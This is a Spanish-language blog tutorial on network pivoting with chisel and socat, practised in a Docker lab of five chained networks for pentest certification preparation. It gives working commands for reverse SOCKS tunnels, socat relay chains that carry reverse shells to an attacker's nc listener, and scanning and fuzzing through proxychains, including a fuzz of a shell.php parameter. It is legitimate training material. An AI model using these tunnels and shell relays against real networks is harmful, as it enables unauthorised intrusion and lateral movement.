Pivoting con Chisel
Pivotar con chisel puede ser abrumador al principio, pero después de leer este artículo, será pan comido.
Introducción
En un entorno real, las redes de la empresa están segmentadas, es decir, hay diferentes redes para diferentes lugares. Es por ello, que cuando estamos realizando una auditoría, debemos de tener los conceptos de pivoting bien claros, ya que sin ellos, no podremos abarcar todo el rango de activos de la empresa.
Este artículo, tiene como finalidad, enseñar como pivotar en la red, haciendo uso de chisel
y socat
. El laboratorio que vamos a usar para practicar es BigPivoting de DockerLabs el cual, nos monta un total de 5 máquinas en diferentes interfaces, usando docker
.
Además, te servirá como ayuda para presentarte a exámenes como el eCPPT y OSCP.
Puesta en escena
El escenario que vamos a abarcar es el siguiente.
A continuación, se explica el esquema de red anterior:
- Red inicial del atacante ➜ Nosotros como atacantes, perteneceremos a la red 10.10.10.1 con la que tendremos conectividad con la máquina 10.10.10.2, pero no con ninguna otra red.
- Segunda red ➜ La máquina 10.10.10.2 contará con otra interfaz de red, cuya IP es la 20.20.20.2. Esta 20.20.20.2 tendrá conectividad con la máquina 20.20.20.3.
- Tercera red ➜ Esta máquina 20.20.20.3, tendrá otra interfaz 30.30.30.2, cuya conectividad cuenta con la 30.30.30.3.
- Cuarta Red ➜ La 30.30.30.3, tiene otra interfaz 40.40.40.2. En la red de la máquina 40.40.40.2 estará la 40.40.40.3 que a su vez, esta tendrá la 50.50.50.2.
- Quinta red ➜ Finalmente, la máquina 50.50.50.2 tendrá conectividad con la 50.50.50.3.
Esto quiere decir que, nosotros como atacantes solamente tenemos acceso a la 10.10.10.2 y tenemos que intentar llegar a vulnerar y a mandarnos una reverse shell desde la 50.50.50.3 hasta nuestra IP 10.10.10.1. Conseguiremos efectuar todo esto, gracias a herramientas como chisel
y socat
que nos permitirá realizar pivoting para lograr tener acceso a todas las interfaces de red que se ven en el esquema.
Manos a la obra
Conectando la 10.10.10.0/24 ➜ 20.20.20.0/24
Una vez que hayamos vulnerado la máquina 10.10.10.2, desde la cual teníamos conectividad con nuestra máquina de atacantes 10.10.10.1 tendremos que crear nuestro servidor chisel
. Para ello, desde nuestra máquina de atacantes 10.10.10.1, crearemos el servidor.
1
./chisel server --reverse -p 1234
Seguidamente, desde la primera máquina víctima 10.10.10.2, nos conectaremos a nuestro servidor chisel
y nos traeremos todos los puertos.
1
./chisel client 10.10.10.1:1234 R:socks
Tal y como se puede ver en la siguiente imagen, hemos abierto un túnel por el puerto 1080.
Ahora, deberemos de editar como root el fichero /etc/proxychains4.conf
, para configurar que proxychains
vaya por el túnel socks5://127.0.0.1:1080. Meteremos la siguiente línea abajo del todo.
1
socks5 127.0.0.1 1080
También, deberemos de chequear que está comentada la línea de dynamic_chain y descomentada la de strict_chain.
De esta manera, usando el comando proxychains
delante de los demás comandos (menos en algunos que deberemos de poner el parámetro -p
o --proxies
como gobuster
) lograremos tener acceso a toda la red 20.20.20.0/24 desde nuestra máquina 10.10.10.1. La siguiente imagen, es un esquema que demuestra de forma gráfica lo que hemos realizado.
Conectando la 10.10.10.0/24 ➜ 30.30.30.0/24
Supongamos que hemos vulnerado ya la máquina 20.20.20.3, y hemos visto que tiene otra interfaz 30.30.30.2. Para conectar la red 10.10.10.0/24 con la 30.30.30.0/24, con el fin de tener conectividad entre ellas, tendremos que traernos chisel
a la máquina 30.30.30.2, que en realidad también es la 20.20.20.3.
Una vez que tengamos chisel
en la 30.30.30.2 y socat
en la 20.20.20.2, crearemos el túnel socat
para redirigir todo lo que nos llegue por el puerto 1111, al puerto en el cual tenemos montado el servidor chisel
.
1
./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:1234
A continuación, nos deberemos de conectar con chisel
desde la 20.20.20.3 a la 20.20.20.2 por el puerto 1111. De esta manera, cuando llegue la conexión a la 20.20.20.2 por el puerto 1111, redirigirá las conexiones a nuestro túnel chisel
. Además, deberemos de configurar el puerto que se nos va a abrir en el túnel. En este caso, hemos puesto el puerto 2221.
1
./chisel client 20.20.20.2:1111 R:2221:socks
Podemos ver cómo nos hemos conectado exitosamente.
Si ahora nos vamos al servidor chisel
, veremos cómo hemos abierto un nuevo túnel por el puerto 2221, que es el que hemos especificado con anterioridad.
Como hicimos anteriormente, deberemos de configurar /etc/proxychains4.conf
para poder obtener acceso cuando usemos el comando proxychains
. Cada nuevo túnel que creemos, deberemos de definirlo encima del anterior.
1
socks5 127.0.0.1 2221
Y esta vez, tenemos que comentar strict_chain para descomentar dynamic_chain, ya que ahora tenemos más de un túnel configurado.
La siguiente imagen, es un esquema que resume lo que hemos hecho, pero de forma gráfica.
Conectando la 10.10.10.0/24 ➜ 40.40.40.0/24
A continuación, conseguimos vulnerar la máquina 30.30.30.3. Vemos que esta máquina, tiene otra interfaz por la cual tiene conectividad con la 40.40.40.2 y, para poder atacarla, deberemos de tener conectividad con esta. Lo que vamos a realizar a continuación es, conectarnos desde la 30.30.30.3 a nuestra máquina 10.10.10.1, y para ello, deberemos de conectarnos a nuestro nodo más cercano desde la 30.30.30.3.
El nodo más cercano de la 30.30.30.3 es la 30.30.30.2. Con chisel
nos conectaremos a la 30.30.30.2 como clientes, por el puerto 3333, y especificaremos como puerto que se nos abrirá en nuestro servidor chisel
, el 3331. Seguidamente, desde la máquina 20.20.20.3 (también es la 30.30.30.2), redirigiremos todas las conexiones que lleguen a nuestro puerto 3333, al puerto 3332 de la máquina 20.20.20.2. Por último, desde la máquina 10.10.10.2 (también es la 20.20.20.2), redirigiremos todas las conexiones que lleguen al puerto 3332 a nuestro puerto 1234, desde el cual estamos escuchando en nuestro servidor chisel
.
Vamos a verlo de forma práctica. Como primera instancia, nos abriremos una consola en la máquina 10.10.10.2 desde la cual, ejecutaremos el siguiente comando que redirigirá todas sus conexiones al puerto 3332, hacia nuestro puerto 1234, que es donde reside nuestro servidor chisel
.
1
./socat TCP-LISTEN:3332,fork TCP:10.10.10.1:1234
A continuación, nos abriremos otra consola en la máquina 20.20.20.3 desde la cual, estaremos redirigiendo todas las conexiones hacia el puerto 3331 al puerto 3332 de la máquina 20.20.20.2.
1
./socat TCP-LISTEN:3333,fork TCP:20.20.20.2:3332
Y por último, desde la consola en la máquina 30.30.30.3, nos conectaremos con chisel
a la máquina 30.30.30.2 por el puerto 3333.
1
./chisel client 30.30.30.2:3333 R:3331:socks
Como podemos ver, nos hemos conseguido conectar a nuestro servidor chisel
.
Si nos vamos a nuestro servidor chisel
, veremos el puerto que se ha abierto, el cual hemos especificado cuando nos conectamos como clientes en la máquina 30.30.30.3.
Lo último que nos queda es, configurar el fichero /etc/proxychains4.conf
con la siguiente línea. Recordamos que hay que introducirla encima de todas las demás anteriores.
1
socks5 127.0.0.1 3331
Con toda esta configuración, tendremos acceso a la red 40.40.40.0 desde nuestra máquina 10.10.10.0, utilizando proxychains
.
Enviándonos una Reverse Shell desde la 40.40.40.3 ➜ 10.10.10.1
La vulnerabilidad que posee la máquina 40.40.40.3 es de tipo RCE, por lo que para conseguir acceso a dicha máquina, tenemos que enviarnos una reverse shell desde la 40.40.40.3 a nuestra máquina 10.10.10.1. Para conseguir esto, deberemos de redirigir las conexiones con socat
para que la reverse shell consiga llevar a nuestro puerto 1337 por el que estaremos en escucha.
Primeramente, nos pondremos en escucha en nuestra máquina 10.10.10.1 por el puerto comentado anteriormente.
1
nc -nlvp 1337
Seguidamente, accedemos de nuevo a la máquina 30.30.30.3 (también es la 40.40.40.2), y redirigiremos todas las conexiones de esta máquina al puerto 443, hacia el puerto 4443 de la máquina 30.30.30.2.
1
./socat TCP-LISTEN:443,fork TCP:30.30.30.2:4443
A continuación, desde la 20.20.20.3 (que también es la 30.30.30.2), redirigiremos todas las conexiones al puerto 4443, hacia el puerto 4442 de la 20.20.20.2.
1
./socat TCP-LISTEN:4443,fork TCP:20.20.20.2:4442
Finalmente, desde la 10.10.10.2 (también es la 20.20.20.2), redirigiremos todas las conexiones al puerto 4442, hacia el puerto 1337 de nuestra máquina (10.10.10.1) desde la cual estamos en escucha con nc
.
1
./socat TCP-LISTEN:4442,fork TCP:10.10.10.1:1337
Podemos ver el flujo de conexiones en la siguiente imagen.
Una vez todo configurado, enviaremos la reverse shell al nodo más cercano, que es la 40.40.40.2 por su puerto 443.
Una vez que lo ejecutemos, veremos cómo viaja la conexión hasta nuestra máquina 10.10.10.1 por nuestro puerto 1337, y conseguimos acceso a la 40.40.40.3.
Conectando la 10.10.10.0/24 ➜ 50.50.50.0/24
Ahora que tenemos acceso a la máquina 40.40.40.3, deberemos de montar nuestro túnel con el fin de conseguir acceso a la 50.50.50.0, que es la segunda interfaz que tiene esta máquina. Como primera acción, nos meteremos en la 40.40.40.2 (que también es la 30.30.30.3), y redirigiremos las conexiones al puerto 5554 hacia el puerto 5553 de la 30.30.30.2.
1
./socat TCP-LISTEN:5554,fork TCP:30.30.30.2:5553
De la misma forma, desde la 30.30.30.2 (también es la 20.20.20.3), redirigiremos el tráfico al puerto 5553 al puerto 5551 de la 20.20.20.2.
1
./socat TCP-LISTEN:5553,fork TCP:20.20.20.2:5551
A continuación, desde la 20.20.20.2 (que también es la 10.10.10.2), redirigiremos las conexiones al puerto 5551, a nuestro servidor chisel
de nuestra máquina 10.10.10.1.
1
./socat TCP-LISTEN:5551,fork TCP:10.10.10.1:1234
De esta manera, lograremos tener un puente para que nosotros, desde la 40.40.40.3, conectarnos a la máquina 40.40.40.2 por el puerto 5554. Además, configuraremos que el puerto que se nos abrirá en nuestro servidor chisel
será el 5551.
1
./chisel client 40.40.40.2:5554 R:5551:socks
Podemos ver que nos hemos conseguido conectar exitosamente desde la 40.40.40.4 a nuestra máquina 10.10.10.1.
Si nos vamos a nuestro servidor chisel
, efectivamente, el puerto que se nos ha abierto es el especificado.
No podemos olvidarnos de, una vez configurado todo, añadir la línea de conexión que identifique el nuevo túnel en el servidor chisel
para poder usar proxychains
.
Enviándonos una Reverse Shell desde la 50.50.50.3 ➜ 10.10.10.1
Para enviarnos una reverse shell desde la 50.50.50.3 hasta nuestra 10.10.10.1, tenemos que hacer la misma operatoria que hemos estado viendo hasta ahora. Sin embargo, en vez de volver a crear el flujo de redirecciones de puertos con socat
, como hicimos cuando nos enviamos una reverse shell desde la 40.40.40.3 a nuestra máquina 10.10.10.1, nos aprovecharemos de estos túneles para, simplemente, redirigir el puerto con el que iniciaremos la reverse shell.
Para entender eso, vamos a hacerlo de forma práctica. Partimos del siguiente flujo de redirecciones.
En esta imagen, lo que podemos apreciar es lo siguiente:
- Las conexiones que entren a la máquina 40.40.40.2 por su puerto 443, las redirigirá al puerto 4443 de la máquina 30.30.30.2 (que a su vez es la 20.20.20.3).
- Estas conexiones que le entran a la máquina 30.30.30.2 (que también es la 20.20.20.3) al puerto 4443, las reenviará al puerto 4442 de la 20.20.20.2 (también es la 10.10.10.2).
- Por último, el tráfico que entre a la 20.20.20.2 (que también es la 10.10.10.2) al puerto 4442, las reenviará a nuestra máquina 10.10.10.1 por nuestro puerto 1337.
Teniendo esto claro, aprovecharemos todo este flujo para, crear una simple redirección desde la 50.50.50.2 (que también es la 40.40.40.3). De forma que, reenviaremos las conexiones entrantes al puerto 555, hacia la 40.40.40.2 por su puerto 443, en el que ya está redirigiendo todo el flujo que hemos explicado anteriormente y que llegará finalmente al puerto 1337 de nuestra máquina 10.10.10.1.
1
./socat TCP-LISTEN:555,fork TCP:40.40.40.2:443
Además, tenemos que ponernos en escucha por el puerto en el que finalmente llegará la conexión.
1
nc -nlvp 1337
Todo esto que acabamos de comentar, debería de quedar de la siguiente imagen.
Seguidamente, enviaremos la reverse shell al nodo más cercano que, en este caso, es la 50.50.50.2, y deberemos de introducir el puerto desde el cual nos hemos puesto en escucha con socat
.
Una vez ejecutado la reverse shell, recibiremos la consola interactiva de la 50.50.50.3, hacia donde estábamos con nc
en escucha
Finalmente, una vez que consigamos acceso como root a esta máquina, habremos logrado el laboratorio completo.
Usando herramientas con túneles proxy
Cuando necesitamos pivotar y crear túneles con chisel
, algunas de las herramientas para que funcionen correctamente, es necesario añadirle parámetros como --proxy
, --proxies
, -p
y otros más. Es por ello, que necesitamos saber estos parámetros y como usar estas herramientas para hacer pasar las conexiones por el túnel correcto. A continuación, se mostrarán un par de las herramientas más usadas a la hora de hacer un pentest una máquina.
La mayoría de las herramientas
La mayoría de las herramientas, para que pase por el túnel chisel
es necesario usar proxychains
. Un ejemplo de cómo se usa es el siguiente:
1
proxychains ssh hegociv@10.10.10.1
Antes de cada comando, deberemos de poner el comando proxychains
, seguido del resto. Con esto, lograremos hacer pasar las conexiones por el túnel chisel
en la mayoría de las herramientas.
Nmap
Con la herramienta nmap
también debemos de usar proxychains
antes del comando, sin embargo, debemos de tener algunas consideraciones. Hay algunos parámetros de este comando que no funcionan cuando pasan por un túnel chisel
. Para realizar un escaneo correcto con nmap
, podemos usar el siguiente comando.
1
proxychains nmap -p- --open --min-rate 5000 -sCV -Pn -sCV -sT -n -vvv 10.10.10.1 -oN targeted
Podemos ver, que en vez de usar el parámetro -sS
hemos usado -sT
. Esto es, porque el TCP SYN Scan no funciona a través de chisel
y tenemos que realizar un escaneo TCP Connect Scan. Al igual de que ES OBLIGATORIO usar el parámetro -Pn
para que no compruebe si el host está activo, ya que de lo contrario finalizará el escaneo al no detectar que el host está activo.
Gobuster
La herramienta de gobuster
tiene el parámetro --proxy
que debemos de usar, en el que le especificaremos el proxy correspondiente por el que tiene que pasar.
1
gobuster dir -u "http://50.50.50.3/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt --proxy socks5://127.0.0.1:5551
De esta manera, le estaremos diciendo a gobuster
, que el proxy por el que tiene que pasar se encuentra en nuestro equipo local (127.0.0.1), por el puerto 5551, y que es de tipo socks5.
Wfuzz
La herramienta wfuzz
le pasa lo mismo que a gobuster
. Tiene el parámetro -p
, en el que le indicaremos cual es el proxy por el cual tiene que pasar. En este caso, la sintaxis en un poco diferente.
1
wfuzz -c -t 200 --hw=0 -u "http://50.50.50.3/shell.php?FUZZ=whoami" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -p 127.0.0.1:5551:SOCKS5
Con esto, le estaremos especificando exactamente lo mismo que con gobuster
, pero con una sintaxis que entiende la propia herramienta wfuzz
.
Despedida
Espero que este blog te sirva para tener un conocimiento mayor de cómo pivotar entre diferentes redes y conseguir acceder a redes desde las cuales, no teníamos acceso inicialmente.